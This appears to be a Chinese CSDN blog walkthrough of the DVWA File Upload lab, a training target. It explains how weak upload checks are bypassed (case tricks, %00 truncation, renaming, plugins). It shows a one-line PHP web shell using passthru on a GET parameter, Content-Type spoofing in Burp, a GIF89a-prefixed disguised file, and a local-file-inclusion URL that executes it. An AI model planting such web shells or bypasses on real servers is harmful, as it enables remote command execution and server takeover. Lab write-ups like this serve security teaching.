DVWA——文件上传

本文详细描述了Web应用中文件上传功能的漏洞,包括未严格检查上传文件类型、文件名修改漏洞和第三方插件风险。通过DVWA实例展示了不同安全级别的漏洞利用步骤,包括基础的passthru注入和高级的Content-Type欺骗与本地文件包含攻击。
摘要由CSDN通过智能技术生成

原理

大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。

当系统存在文件上传漏洞时攻击者可以将病毒、木马、WebShell、其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP、ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。

上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;

上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器;

上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;

上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行;

上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞(Local File Include)执行该文件。如将bad.php文件改名为bad.doc上传到服务器,再通过PHP的include、include_once、require、require_once等函数包含执行。

此处造成恶意文件上传的原因主要有三种:

文件上传时检查不严。没有进行文件格式检查。一些应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查。一些应用虽然在服务器端进行了黑名单检查,但是却可能忽略了大小写,如将.php改为.Php即可绕过检查;一些应用虽然在服务器端进行了白名单检查却忽略了%00截断符,如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg,其中%00为十六进制的0x00字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00字符截断的关系,最终上传的文件变成了xxx.php。

文件上传后修改文件名时处理不当。一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc,成功上传后在修改文件名时将后缀改回.php。

使用第三方插件时引入。好多应用都引用了带有文件上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。

初级文件上传漏洞

进入DVWA,级别选择为low

选择File Upload本地写一个php后缀的文件,用于上传,内容如下:

    <?php
    passthru($_GET[bash]);
    ?>
wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==

上传该文件,显示上传成功和文件在哪个位置

访问该文件正常解析:

中级文件上传漏洞

点击DVWA Security,选择安全等级Medium

选择File Upload本地写一个php后缀的文件,用于上传,内容如下:

<?php
    passthru($_GET[bash]);
    ?>
wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==

上传该文件前配置好burp代理和浏览器代理,用burp抓包,将数据包中的Content-Type:后的内容修改为image/jpeg,再放数据包请求给服务器,显示文件被上传和知道文件具体路径:

高级文件上传漏洞

点击DVWA Security,选择安全等级High,点击Submit;

选择File Upload本地写一个php后缀的文件,用于上传,内容如下:

 <?php
    passthru($_GET[bash]);
    ?>

上传该文件,显示上传不成功,提示要求只能上传JPEG或者PNG文件

用burp抓包,修改burp的数据包类型为`image/jpeg,再放数据包请求给服务器,显示文件上传失败;

重新上传.php文件并抓包,修改文件名为123.png,文件内容构造如下文件:

GIF89a

<?php
passthru($_GET[bash]);
?>

上传该文件显示成功:

结合文件包含利用该文件,访问http://ip/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/123.png

  • 14
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值